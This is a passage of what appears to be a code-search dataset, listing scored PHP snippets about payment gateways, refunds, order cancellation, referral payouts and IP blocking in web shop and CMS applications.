\n\t\t$bank_obj->repay($this->id, $amount);\n\t\t\n\t\tlog_and_confirm(\"repaid \" . CURRSYM . \"$amount of borrowings to the bank\",\n\t\t\t$this->id, 3);\n\t\t\n\t\t/* if the debt has been paid off, note this for system rules */\n\t\tif (!$this->debtor()) $this->paid_off_debts = TRUE;\n\t}", "title": "" }, { "docid": "a3850ebcef15896f499e31d5a8a5119b", "score": "0.49334335", "text": "public function _pay_to_referrer($deal_id, $deal_buyer_data)\r\n {\r\n $dealUserCount = $this->Deal->DealUser->find('count', array(\r\n 'conditions' => array(\r\n 'DealUser.user_id' => $deal_buyer_data['id']\r\n ) ,\r\n 'recursive' => - 1\r\n ));\r\n $today = strtotime(date('Y-m-d H:i:s'));\r\n $registered_date = strtotime(_formatDate('Y-m-d H:i:s', strtotime($deal_buyer_data['created'])));\r\n $hours_diff = intval(($today - $registered_date) / 60 / 60);\r\n //check whether this is user's first deal and bought with in correct limit\r\n if (($dealUserCount == 1) && $hours_diff <= Configure::read('user.referral_deal_buy_time')) {\r\n //pay amount to referred user\r\n $transaction['Transaction']['user_id'] = $deal_buyer_data['referred_by_user_id'];\r\n $transaction['Transaction']['foreign_id'] = ConstUserIds::Admin;\r\n $transaction['Transaction']['class'] = 'SecondUser';\r\n $transaction['Transaction']['amount'] = Configure::read('user.referral_amount');\r\n $transaction['Transaction']['transaction_type_id'] = ConstTransactionTypes::ReferralAmount;\r\n $this->Deal->User->Transaction->log($transaction);\r\n $transaction = array();\r\n //admin record for referral amount\r\n $transaction['Transaction']['user_id'] = ConstUserIds::Admin;\r\n $transaction['Transaction']['foreign_id'] = $deal_buyer_data['referred_by_user_id'];\r\n $transaction['Transaction']['class'] = 'SecondUser';\r\n $transaction['Transaction']['amount'] = Configure::read('user.referral_amount');\r\n $transaction['Transaction']['transaction_type_id'] = ConstTransactionTypes::ReferralAmountPaid;\r\n $this->Deal->User->Transaction->log($transaction);\r\n $this->Deal->User->updateAll(array(\r\n 'User.available_balance_amount' => 'User.available_balance_amount +' . Configure::read('user.referral_amount')\r\n ) , array(\r\n 'User.id' => $deal_buyer_data['referred_by_user_id']\r\n ));\r\n }\r\n }", "title": "" }, { "docid": "ae5b62207c5090c519edad201e76000e", "score": "0.49164706", "text": "public function payWithPaypal()\n {\n }", "title": "" }, { "docid": "236baca2f41b0142eadf03ac38ebda0c", "score": "0.49156785", "text": "function ipn() {\n global $xhsController;\n $req = 'cmd=_notify-validate';\n\n foreach ($_POST as $key => $value)\n {\n $value = urlencode(stripslashes($value));\n $req .= \"&$key=$value\";\n }\n\n// post back to PayPal system to validate\n\n $header = \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\n\n if ($this->settings['environment'] === 'development')\n {\n $header .= \"Host: www.sandbox.paypal.com:443\\r\\n\";\n } else\n {\n $header .= \"Host: www.paypal.com:443\\r\\n\";\n }\n $header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n $header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\n\n if ($this->settings['environment'] === 'development')\n {\n $fp = fsockopen('ssl://www.sandbox.paypal.com', 443, $errno, $errstr, 30);\n } else\n {\n $fp = fsockopen('ssl://www.paypal.com', 443, $errno, $errstr, 30);\n }\n\n if (!$fp)\n {\n\n /*\n * HTTP-ERROR: Was tun?\n */\n return;\n }\n\n\n fputs($fp, $header . $req);\n while (!feof($fp))\n {\n $res = fgets($fp, 1024);\n if (strcmp($res, \"VERIFIED\") == 0)\n {\n /*\n * bei Bedarf pruefen, ob die Bestellung ausgefuehrt werden soll. (Stimmt die Haendler-E-Mail, ...?\n */\n \n $file = __DIR__ . '/tmp_orders/pp_' . $_POST['custom'];\n if (file_exists($file . '.temp'))\n {\n\n if (!(bool) session_id())\n {\n session_id($_POST['custom']);\n session_start();\n }\n\n $temp = implode(\"\", file($file . '.temp'));\n $temp = unserialize($temp);\n $_SESSION['xhsCustomer'] = $temp['xhsCustomer'];\n $_SESSION['xhsOrder'] = $temp['xhsOrder'];\n rename($file . '.temp', $file . '.sent');\n $xhsController->finishCheckout();\n } else\n {\n\n }\n } else if (strcmp($res, \"INVALID\") == 0)\n {\n /*\n * Fehlerbehandlung \"ungueltig\"\n */\n }\n }\n fclose($fp);\n }", "title": "" }, { "docid": "29a6995935d2311f40a2ee056873d4b3", "score": "0.49126184", "text": "public function cancelAction() {\n if (Mage::getSingleton('checkout/session')->getLastRealOrderId()) {\n $order = Mage::getModel('sales/order')->loadByIncrementId(Mage::getSingleton('checkout/session')->getLastRealOrderId());\n if($order->getId()) {\n\t\t\t\t// Flag the order as 'cancelled' and save it\n\t\t\t\t$order->cancel()->setState(Mage_Sales_Model_Order::STATE_CANCELED, true, 'Gateway has declined the payment.')->save();\n\t\t\t}\n }\n\t}", "title": "" }, { "docid": "8a0b3c67a9217717402a0adb90db90ef", "score": "0.49123487", "text": "public function refund(Varien_Object $payment, $amount) \n {\n Mage::log('refund is getting called');\n }", "title": "" }, { "docid": "b096e2ca19a62c9e83851489b243c3f7", "score": "0.4911602", "text": "public function cancelAction() {\n if (Mage::getSingleton('checkout/session')->getLastRealOrderId()) {\n $order = Mage::getModel('sales/order')->loadByIncrementId(Mage::getSingleton('checkout/session')->getLastRealOrderId());\n if($order->getId()) {\n // Flag the order as 'cancelled' and save it\n $order->cancel()->setState(Mage_Sales_Model_Order::STATE_CANCELED, true, 'Gateway has declined the payment.')->save();\n }\n }\n }", "title": "" }, { "docid": "227e4f3ca235085b008c248d786cb2b1", "score": "0.49068958", "text": "function blockip(){\n\t\tif(isset($_SESSION['ip_error_msg'])) {\n\t\t\tunset($_SESSION['ip_error_msg']);\n\t\t}\n\t\t$session = $this->security->xss_clean($this->session->userdata('user_data'));\t\t\n\t\tif(!empty($session)){\n\t\t\t$this->form_validation->set_rules('ip', '', 'required|valid_ip');\n\t\t\t$this->form_validation->set_message('required', 'This field is required');\n\t\t\tif ($this->form_validation->run() == FALSE){\n\t\t\t\t$this->load->template('block_ip');\t\n\t\t\t}else{\n\t\t\t\t$data['ip'] = $this->security->sanitize_filename($this->input->post('ip'));\n\t\t\t\t$saveip = $this->Ip_model->saveip($data);\n\t\t\t\t\n\t\t\t\tif($saveip == 'allready'){\n\t\t\t\t\t$data = array('code'=>2,'mess'=>'This ip is allready exist.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}else if($saveip == 'saved'){\n\t\t\t\t\t$data = array('code'=>1,'mess'=>'IP address has been blocked successfully.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}else{\n\t\t\t\t\t$data = array('code'=>0,'mess'=>'IP address not saved.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}\t\t\t\t\t\n\t\t\t\t$this->load->template('block_ip');\n\t\t\t}\t\t\t\n\t\t}else{\n\t\t\tredirect('/');\n\t\t}\n\t}", "title": "" }, { "docid": "1594427e40c24a115e952bcc41e8164c", "score": "0.49059415", "text": "function refund_order ($order_id, $amount) {\n\n\t$amount = round($amount, 2);\n\t$order_no = get_post_meta($order_id, 'no', true);\n\t$service = get_post_meta($order_id, 'service', true);\n\n\tif ($amount <= 0) {\n\t\treturn;\n\t}\n\n\t$refundable = get_post_meta($order_id, 'refundable_amount', true);\n\n\tif ($refundable <= 0) {\n\t\treturn;\n\t}\n\n\tif ($refundable < $amount) {\n\t\t$amount = $refundable;\n\t}\n\n\t$gateway = get_post_meta($order_id, 'gateway', true);\n\n\tswitch ($gateway) {\n\t\tcase 'wechatpay':\n\t\t\t$input = new RoyalPayApplyRefund($service);\n\t\t\t$input->setOrderId($order_no);\n\t\t\t$input->setRefundId('refund.' . $order_no);\n\t\t\t$input->setFee($amount * 100);\n\t\t\tRoyalPayApi::refund($input, 10, $service);\n\t\t\tbreak;\n\t\tcase 'paypal':\n\t\t\t$sale_id = get_post_meta($order_id, 'sale_id', true);\n\t\t\tpaypal_sale_refund($sale_id, $amount, $service);\n\t\t\tbreak;\n\t\tcase 'alipay':\n\t\tdefault:\n\t\t\t(new AlipayRefund(get_alipay_config()))->refund($order_no, $amount);\n\t}\n\n\tupdate_post_meta($order_id, 'refundable_amount',\n\t\tround($refundable - $amount, 2)\n\t);\n\n\t$user = get_post_meta(get_post($order_id)->ID, 'user', true);\n\n\tupdate_user_meta($user, 'total_awarded', get_user_meta($user, 'total_awarded', true) + $amount);\n}", "title": "" }, { "docid": "c5544af912020274ad87b88adac5d0bf", "score": "0.4905716", "text": "public function paypal_switching($plan_detail = null)\n {\n\n \n $user = Auth::user();\n $user_id = Auth::user()->id;\n //dd($user);die;\n \n try {\n\n // $PayFlow = new PayFlow('digitalkheops511','PayPal', 'digitalkheops511', 'digitalkheops511', 'digitalkheops511', 'recurring');\n $current_plan_detail = UserPlan::where('user_id','=',$user_id)\n ->where('status','=','1')\n ->first();\n\n $refund_amount = $current_plan_detail->amount > $plan_detail->price ? true : false;//refund the difference\n $plan_price = $plan_detail->price;\n //dd($plan_detail->price);\n $PayFlow = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n // dd($PayFlow);\n\n $PayFlow->setEnvironment('test'); // test or live\n $PayFlow->setTransactionType('R'); // 'USD', 'EUR', 'GBP', 'CAD', 'JPY', 'AUD'.\n\n // Only used for recurring transactions\n $PayFlow->setProfileAction('M');\n $PayFlow->setPaymentComment($plan_detail->plan_name_en);\n $PayFlow->setAmount($plan_detail->price,FALSE);\n\n if(!$refund_amount){\n\n $diffrence_to_charge = $plan_detail->price - $current_plan_detail->amount;\n $PayFlow->setOptionalTransaction('S');\n $PayFlow->setOptionalTransactionAmount($diffrence_to_charge);\n \n $plan_price = number_format((float)$diffrence_to_charge, 2, '.', '');;\n //dd($plan_price);\n }\n\n $PayFlow->setProfileId($user->paypal_profile_id);\n\n if($PayFlow->processTransaction()){\n \n $response = $PayFlow->getResponse();\n\n if($refund_amount){ // refund the amount in case of downgrade the plan\n $amount_to_refund = $current_plan_detail->amount - $plan_detail->price;\n $PayFlowNew = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n\n $PayFlowNew->setEnvironment('test'); \n $PayFlowNew->setTransactionType('R');\n $PayFlowNew->setProfileAction('I');\n $PayFlowNew->setProfileId($user->paypal_profile_id);\n $PayFlowNew->setPaymentHistory('O');\n\n if($PayFlowNew->processTransaction()){\n $responseNew = $PayFlowNew->getResponse();\n //dd($responseNew);\n if($responseNew['RESULT'] == '0'){\n\n unset($responseNew['RESULT'],$responseNew['RPREF'],$responseNew['PROFILEID']);\n if(empty($responseNew)){\n return false;\n }\n $final_array = [];\n foreach($responseNew as $keys=>$values){\n $index = substr($keys, -1);\n $keys = substr($keys, 0, -1); \n $final_array[$index][$keys] = $values; \n }\n \n end($final_array);// move the internal pointer to the end of the array\n $keyy = key($final_array);\n $last_payment = $final_array[$keyy];\n \n if($last_payment['P_RESULT'] != '0' ){\n return false;\n }\n\n \n if($last_payment['P_RESULT'] == 0){\n\n $refunded = $this->refund_pay_pal_transaction($last_payment['P_PNREF'],$plan_detail,null,$amount_to_refund);\n //dd($refunded);\n if(!$refunded){\n return false;\n }\n\n }else{\n\n return false;\n }\n \n\n \n\n }else{\n return true;\n $responseNew = $PayFlowNew->getResponse();\n dd($responseNew);\n }\n\n \n \n \n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n // $response = $PayFlow->getResponse();\n // dd($response);\n return false;\n }\n \n }\n\n\n $current_plan = UserPlan::where('user_id','=',$user_id)\n ->where('status','=','1')\n ->first()\n ->update(['status'=>'0']);\n\n \n $payment = new Payment;\n $payment->user_id = $user_id;\n $payment->plan_id = $plan_detail->id;\n $payment->net_amount = $plan_price;\n $payment->transaction_id = $response['RPREF'];\n $payment->status = 1;\n $payment->transaction_status = $response['RESPMSG'];\n $payment->transaction_type = '1';\n $payment->payment_date = date('Y-m-d');\n $payment->save();\n\n $user_plan = new UserPlan;\n $user_plan->user_id = $user_id;\n $user_plan->plan_id = $plan_detail->id;\n $user_plan->payment_id = $current_plan_detail->payment_id;\n $user_plan->transaction_id = $response['RPREF'];\n $user_plan->amount = $plan_detail->price;\n $user_plan->status = '1';\n $user_plan->save();\n\n \n\n if(!$refund_amount){\n $this->update_again($plan_detail);\n $this->genrate_invoice_pdf($user,$payment,$plan_detail->plan_name_fr);\n }\n \n\n //$this->genrate_invoice_pdf($user,$payment);\n return true;\n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n\n return true;\n }\n\n }catch (Exception $e) {\n return false;\n }\n\n\n }", "title": "" }, { "docid": "4662ba4e8da9e70fcba7ba897f8f4aa0", "score": "0.49036983", "text": "protected function _cancelAction()\n {\n //Mage::Log('Called ' . __METHOD__);\n /*if(!$this->_isValidToken()){\n Mage::Log('Token is invalid.');\n $this->_redirect('checkout/cart'); \n }*/\n //TODO: add Api specific values. Copied form paypal standard.\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId($this->_getApiQuoteId());\n /* @var $quote Mage_Sales_Model_Quote */\n $quote = $session->getQuote();\n $quote->setIsActive(false)->save();\n $quote->delete();\n \n $orderId = $this->_getApiOrderId();\n Mage::Log('Canceling order ' . $orderId);\n if ($orderId) {\n $order = Mage::getSingleton('sales/order');\n $order->load($orderId);\n if ($order->getId()) {\n $state = $order->getState();\n if($state == Mage_Sales_Model_Order::STATE_PENDING_PAYMENT){\n $order->cancel()->save();\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$errorManager = new Roger_Visanet_Model_ErrorList();\n\t\t\t\t\t$errordescriptionvisanet= $errorManager->get_errorDescription($session->getData('visaErrorCode'));\n\t\t\t\t\t$data= $session->getData('visaData');\n\t\t\t\t\t\n Mage::getSingleton('core/session')->addNotice('<b>Visa</b> </br><b>El Pago fue Negado.</b></br> <b>Codigo de Error Retornado :</b>'. $this->getMotivo($session->getData('visaCodaction')).' </br><b>Numero de pedido:</b> '.$data->NUMORDEN .'</br><b>Fecha y Hora:</b> '.$data->FECHAYHORA_TX .'</br><b>Descripcion:</b> '.$errordescriptionvisanet);\n }\n }\n }\n //$this->_redirect('checkout/cart');\n $this->_redirect('checkout/onepage/failure', array('_secure'=>true));\n }", "title": "" }, { "docid": "c691d83a457087548a6ac3f4ec3a8881", "score": "0.49024418", "text": "function eddwp_maybe_disable_renewal_notice( $send, $license_id, $notice_id ) {\n\n\t$product_id = get_post_meta( $license_id, '_edd_sl_download_id', true );\n\n\tswitch( $product_id ) {\n\n\t\tcase 96640 :\n\t\t\t// Sales Recovery\n\t\t\t$send = false;\n\t\t\tbreak;\n\t}\n\n\treturn $send;\n}", "title": "" }, { "docid": "288c331ef139c0d792511193af30ce2f", "score": "0.4899627", "text": "public function sendOffsite(){\n\t\t// programmers must override this method to provide gateway specific logic\n\t}", "title": "" }, { "docid": "f9e05bac6bbe4a62ff96458977bb1330", "score": "0.48808905", "text": "function is_ip_blocked($REMOTE_ADDR)\n {\n if( empty($REMOTE_ADDR) or mb_strlen($REMOTE_ADDR)<1 or mb_strlen($REMOTE_ADDR)>15 )\n {\n return false;\n }\n\n if(!$block_count = (int)config_get('USER','SECURITY','login_try_block_ip')+config_get('user', 'security', 'login_try_capcha'))\n {\n return false;\n }\n\n $res=$this->db->query(\"DELETE FROM \".db_prefix.\"Blocked_ip WHERE ip='$REMOTE_ADDR' AND NOW() >= expired\");\n if(intval($this->db->affected_rows())>0)\n {\n $this->clear_access_log_by_ip($REMOTE_ADDR);\n }\n\n $block_period = (int)config_get('USER','SECURITY','ip_block_selected_period');\n\n $res=$this->db->query\n (\n \"SELECT NOW() now,\n max(expired) as bp\n FROM \".db_prefix.\"Blocked_ip\n WHERE\n ip='$REMOTE_ADDR'\"\n );\n if($res->num_rows())\n {\n $r=$res->result_array();\n if($r[0]['now']<=$r[0]['bp'])\n {\n $this->db->query(\"DELETE FROM \".db_prefix.\"Blocked_ip WHERE ip='$REMOTE_ADDR' AND expired<'{$r[0]['bp']}'\");\n\n return time_left($r[0]['bp']);\n }\n }\n else{\n $res=$this->db->query\n (\n \"\n SELECT\n COUNT(ip) as bp\n FROM \".db_prefix.\"Ip_access_log\n WHERE\n ip='$REMOTE_ADDR' and time>=(NOW()-$block_period)\n HAVING bp >= $block_count\n \"\n );\n\n echo $this->db->last_query().\"\\n\";\n\n if($res->num_rows())\n {\n $r=$res->result_array();\n /*\n count of acces tries is bigger than block_tries value\n and IP must be blocked\n */\n\n $ip_block_timeout = config_get('USER','SECURITY','ip_block_timeout');\n $expire = mktime()+intval($ip_block_timeout);\n $this->db->insert(db_prefix.\"Blocked_ip\", array(\"ip\"=>$REMOTE_ADDR, \"expired\"=>$expire));\n return time_left($expire);\n }\n }\n return false;\n }", "title": "" }, { "docid": "49c50702b73e90d6aaf0a04a7b93a89e", "score": "0.4880803", "text": "public static function setBlock($userIp)\n {\n $affectedRows = 0; \n $command = Yii::app()->db->createCommand('\n UPDATE user_attempt \n SET blocked_until= :blockedTime, attempt_count= 0\n WHERE user_ip= :userIp\n ');\n $affectedRows = $command->execute(array(\n 'blockedTime' => time() + Yii::app()->params['blockSeconds'],\n 'userIp' => $userIp,\n ));\n\n return $affectedRows;\n }", "title": "" }, { "docid": "44dd4d9864236c124341d663b5dc30dd", "score": "0.48754656", "text": "function user_blocked(Block $block, $user)\n{\n\tglobal $wgWikiUrl, $wgWikiUrlEnding, $wgWikiUrlEndingBlockList;\n\t$message = sprintf(\n\t\t\"%s has blocked %s %s Block expiration: %s. %s\",\n\t\tgetUserText($user),\n getUserText($block->getTarget()),\n\t\t$block->mReason == \"\" ? \"\" : \"with reason '\".$block->mReason.\"'.\",\n\t\t$block->mExpiry,\n\t\t\"<a href='\".$wgWikiUrl.$wgWikiUrlEnding.$wgWikiUrlEndingBlockList.\"'>List of all blocks</a>.\");\n\tpush_hipchat_notify($message, \"red\");\n\treturn true;\n}", "title": "" }, { "docid": "d7c455f9e17d86cd9b2ece5c4fbddcfe", "score": "0.48679432", "text": "public function block_ip(){\n\t\tif(isset($_SESSION['ip_error_msg'])) {\n\t\t\tunset($_SESSION['ip_error_msg']);\n\t\t}\n\t\t$session = $this->security->xss_clean($this->session->userdata('user_data'));\t\t\n\t\tif(!empty($session)){\n\t\t\t\n\t\t\t$this->form_validation->set_rules('ip', 'ip', 'required|valid_ip');\n\t\t\t$this->form_validation->set_message('required', 'This field is required');\n\t\t\tif ($this->form_validation->run() == FALSE){\n\t\t\t\t$this->load->template('block_ip_user');\n\t\t\t}else{\n\t\t\t\t$data['ip'] = $this->security->sanitize_filename($this->input->post('ip'));\n\t\t\t\t$saveip = $this->blockip_model->saveip($data);\n\t\t\t\t\n\t\t\t\tif($saveip == 'allready'){\n\t\t\t\t\t$data = array('code'=>2,'mess'=>'This ip is allready exist.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}else if($saveip == 'saved'){\n\t\t\t\t\t$data = array('code'=>1,'mess'=>'IP address has been blocked successfully.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}else{\n\t\t\t\t\t$data = array('code'=>0,'mess'=>'IP address not saved.');\n\t\t\t\t\t$this->session->set_flashdata('ip_error_msg',$data);\n\t\t\t\t}\n\t\t\t\tredirect('block_ip');\t\t\t\t\n\t\t\t}\t\t\t\n\t\t}else{\n\t\t\tredirect('/');\n\t\t}\n\t}", "title": "" }, { "docid": "6ea329069818894f7e19e7f6a3c40f4c", "score": "0.48600566", "text": "function cancelPending(){\n\t\t$cancelPending = \n\t\t$this->pdo->prepare('\n\t\t\t\tUPDATE hhm_users \n\t\t\t\tSET HouseholdID = null,\n\t\t\t\t\tUserStatus = \"not in\"\n\t\t\t\tWHERE UserID = :userID\n\t\t\t\t');\n\t\tif($cancelPending->execute(array('userID'=>$this->userID))){\n\t\t\theader('Location: overview.php');\n\t\t}\n\t}", "title": "" }, { "docid": "939933d202c75771fbcf5cb365455aa8", "score": "0.48546576", "text": "private function serverToServerTracking($order)\n\t\t{\n\t\t\ttry {\n\n\t\t\t\t$accountKey = Mage::getStoreConfig('fanplayrsocialcoupons/config/acc_key');\n\t\t\t\tif (!$accountKey) return;\n\n\t\t\t\t//$order = $ob->order;\n\n\t\t\t\t$state = $order->getState();\n\t\t\t\t$method = $order->getPayment()->getMethod();\n\n\t\t\t\t// only paypal_standard supported ATM\n\t\t\t\tif ($method == 'paypal_standard'){\n\n\t\t\t\t\t$url = '';\n\t\t\t\t\t$params = array();\n\n\t\t\t\t\t// order created, let's tell Fanplayr to link details at a later time\n\t\t\t\t\tif ($state == Mage_Sales_Model_Order::STATE_PENDING_PAYMENT) {\n\n\t\t\t\t\t\t$url .= 'http://my.fanplayr.com/api.track.v1.ordercreated/';\n\n\t\t\t\t\t\t// we will only have these on the before\n\t\t\t\t\t\t// get session data if we can\n\t\t\t\t\t\t$session = null;\n\t\t\t\t\t\t$sessionKey = '';\n\t\t\t\t\t\t$userKey = '';\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t$session = Mage::getModel('core/session');\n\t\t\t\t\t\t}catch(Exception $e){}\n\t\t\t\t\t\tif ($session) {\n\t\t\t\t\t\t\t$sessionKey = $session->getData('fanplayr_session_session_key');\n\t\t\t\t\t\t\t$userKey = $session->getData('fanplayr_session_user_key');\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$params['id'] = $order->getId();\n\t\t\t\t\t\t$params['number'] = $order->getIncrementId(); // getNumber don't work here ...\n\n\t\t\t\t\t\t$params['accountkey'] = $accountKey;\n\t\t\t\t\t\t$params['sessionkey'] = $sessionKey;\n\t\t\t\t\t\t$params['userkey'] = $userKey;\n\n\t\t\t\t\t// log the order with Fanplayr\n\t\t\t\t\t} else if ($state == Mage_Sales_Model_Order::STATE_PROCESSING) {\n\n\t\t\t\t\t\t$url .= 'http://my.fanplayr.com/api.track.v1.orderpaid/';\n\n\t\t\t\t\t\t// get order info\n\t\t\t\t\t\t$data = $this->getLastOrderInformation($order->getId());\n\n\t\t\t\t\t\t$params['domain'] = Mage::getUrl();\n\t\t\t\t\t\t$params['shoptype'] = 'magento';\n\n\t\t\t\t\t\t$params['id'] = $data['orderId'];\n\t\t\t\t\t\t$params['number'] = $data['orderNumber'];\n\n\t\t\t\t\t\t$params['email'] = $data['orderEmail'];\n\t\t\t\t\t\t$params['date'] = $data['orderDate'];\n\t\t\t\t\t\t$params['total'] = $data['total'];\n\t\t\t\t\t\t$params['subTotal'] = $data['subTotal'];\n\t\t\t\t\t\t$params['discountamount'] = $data['discount'];\n\t\t\t\t\t\t$params['discountcode'] = $data['discountCode'];\n\t\t\t\t\t\t$params['firstname'] = $data['firstName'];\n\t\t\t\t\t\t$params['lastname'] = $data['lastName'];\n\t\t\t\t\t\t$params['customeremail'] = $data['customerEmail'];\n\t\t\t\t\t\t$params['customerid'] = $data['customerId'];\n\t\t\t\t\t\t$params['shipping'] = $data['shipping'];\n\t\t\t\t\t\t$params['tax'] = $data['tax'];\n\t\t\t\t\t\t$params['products'] = json_encode($data['products']);\n\n\t\t\t\t\t\t$params['accountkey'] = $accountKey;\n\n\t\t\t\t\t\t// we don't have these afterwards but we should send through anyway\n\t\t\t\t\t\t$params['sessionkey'] = '';\n\t\t\t\t\t\t$params['userkey'] = '';\n\t\t\t\t\t}\n\n\t\t\t\t\t// disable user identity tracking\n\t\t\t\t\t$disableUserIdentityTracking = !!Mage::getStoreConfig('fanplayrsocialcoupons/config/disable_user_identity_tracking');\n\t\t\t\t\tif ( $disableUserIdentityTracking ) {\n\t\t\t\t\t\t$customerEmail = '';\n\t\t\t\t\t\t$params['email'] = '';\n\t\t\t\t\t\t$params['customeremail'] = '';\n\t\t\t\t\t\t$params['firstname'] = '';\n\t\t\t\t\t\t$params['lastname'] = '';\n\t\t\t\t\t}\n\n\t\t\t\t\t// now if we set a URL call it!\n\t\t\t\t\tif ($url) {\n\n\t\t\t\t\t\t$params = http_build_query($params);\n\n\t\t\t\t\t\t$ch = curl_init();\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_POST, 1);\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $params);\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n\t\t\t\t\t\t// DEBUG\n\t\t\t\t\t\t//Mage::log('PayPal Return, URL: ' . $url);\n\t\t\t\t\t\t//Mage::log('PayPal Return, Params: ' . $params);\n\t\t\t\t\t\t//Mage::log('PayPal Return, State (' . $state . '): ' . curl_exec($ch));\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}catch(Exception $e) {\n\t\t\t\tif (method_exists($e, 'getMessage')) {\n\t\t\t\t\tMage::log('Fanplayr Exception. Save order for PayPal. ' . $e->getMessage());\n\t\t\t\t}else{\n\t\t\t\t\tMage::log('Fanplayr Exception. Save order for PayPal. ' . $e->message);\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5dd631a78e62676fe7a7d664b0e65e49", "score": "0.48477954", "text": "public function blockAction() {\n $payerId = $this->request->getParam('payerId');\n $list = new Yourdelivery_Model_DbTable_Paypal_BlackWhiteList();\n $list->addToBlacklist($payerId);\n echo __b('PayerId %s geblacklistet', $payerId);\n }", "title": "" }, { "docid": "2aeeea2d6019796b1550d7b624867adb", "score": "0.48452112", "text": "function paypropk_refund($params)\n{\n return false;\n\n // Gateway Configuration Parameters\n $accountId = $params['accountID'];\n $secretKey = $params['secretKey'];\n $testMode = $params['testMode'];\n $dropdownField = $params['dropdownField'];\n $radioField = $params['radioField'];\n $textareaField = $params['textareaField'];\n\n // Transaction Parameters\n $transactionIdToRefund = $params['transid'];\n $refundAmount = $params['amount'];\n $currencyCode = $params['currency'];\n\n // Client Parameters\n $firstname = $params['clientdetails']['firstname'];\n $lastname = $params['clientdetails']['lastname'];\n $email = $params['clientdetails']['email'];\n $address1 = $params['clientdetails']['address1'];\n $address2 = $params['clientdetails']['address2'];\n $city = $params['clientdetails']['city'];\n $state = $params['clientdetails']['state'];\n $postcode = $params['clientdetails']['postcode'];\n $country = $params['clientdetails']['country'];\n $phone = $params['clientdetails']['phonenumber'];\n\n // System Parameters\n $companyName = $params['companyname'];\n $systemUrl = $params['systemurl'];\n $langPayNow = $params['langpaynow'];\n $moduleDisplayName = $params['name'];\n $moduleName = $params['paymentmethod'];\n $whmcsVersion = $params['whmcsVersion'];\n\n // perform API call to initiate refund and interpret result\n\n return array(\n // 'success' if successful, otherwise 'declined', 'error' for failure\n 'status' => 'success',\n // Data to be recorded in the gateway log - can be a string or array\n 'rawdata' => $responseData,\n // Unique Transaction ID for the refund transaction\n 'transid' => $refundTransactionId,\n // Optional fee amount for the fee value refunded\n 'fees' => $feeAmount,\n );\n}", "title": "" }, { "docid": "d79153cef60403a10a2230c587e05591", "score": "0.48434287", "text": "public function redeemMASK(){\n $this->denyAccess();\n $id = $_SESSION['uid'];\n $points = UserModel::getInstance()->fetchOne(\"id=$id\");\n if($points['points'] - 300 < 0){\n $this->jump('You do not have enough points, go daily check to get more points!', '?c=Points&a=index');\n }\n $data['points'] = $points['points'] - 300;\n if(UserModel::getInstance()->update($data,$id)){\n $this->jump('Successfully redeem a MASK, fill the shipping information please!', '?c=Points&a=shipping');\n }else{\n $this->jump('Failed to redeem, try again!', '?c=Points&a=index');\n }\n }", "title": "" }, { "docid": "87ea3991d14caffc62c0bc1e36e4e8db", "score": "0.48385423", "text": "function repay($borrower, $amount) {\n \t\t\n \t\t$borrower_name = $this->id_to_name($borrower);\n \t\tlog_and_confirm(\"$borrower_name has repaid $amount owed to the bank\", $this->id, 1);\n \t\t$this->debtors[$borrower] -= $amount;\n \t}", "title": "" }, { "docid": "429e16bb0f9ae96ef75bd94b6209d7ae", "score": "0.48371574", "text": "public function noSubscription(){\n \t$session = Mage::getSingleton('checkout/session');\n \t$order = Mage::getModel('sales/order');\n \t$order->loadByIncrementId($session->getLastRealOrderId());\n \t$orderId = $order->getId();\n \t$orderStatus = $order->getStatus();\n \tif (empty($orderId) || $orderStatus != 'pending') {\n \t\tMage::getSingleton('checkout/session')->addError(Mage::helper('paypaladaptive')->__(\"No order for processing found\"));\n \t\t$this->_redirect('checkout/cart');\n \t\treturn FALSE;\n \t}\n \t\n \t// Initilize adaptive payment data\n \t$actionType = \"PAY\";\n \t$cancelUrl = Mage::getUrl('paypaladaptive/adaptive/cancel');\n \t$returnUrl = Mage::getUrl('paypaladaptive/adaptive/return');\n \t$ipnNotificationUrl = Mage::getUrl('paypaladaptive/adaptive/ipnnotification', array('_secure' => true));\n \t$currencyCode = Mage::app()->getStore()->getCurrentCurrencyCode();\n \t$senderEmail = \"\";\n \t$feesPayer = Mage::helper('paypaladaptive')->getFeePayer();\n \t$memo = \"\";\n \t$pin = \"\";\n \t$preapprovalKey = \"\";\n \t$reverseAllParallelPaymentsOnError = \"\";\n \t$trackingId = $this->generateTrackingID();\n \t\n \t\n \t$enabledBookorrent = Mage::helper('paypaladaptive')->getModuleInstalledStatus('Apptha_Bookorrent');\n \t$enabledBookorrent = 1;\n \t\n \t// Checking where marketplace enable or not\n \tif ($enabledMarplace == 1) {\n \t\t// Calculating receiver data\n \t\t$receiverData = Mage::helper('paypaladaptive')->getMarketplaceSellerData();\n \t} elseif ($enabledBookorrent == 1) 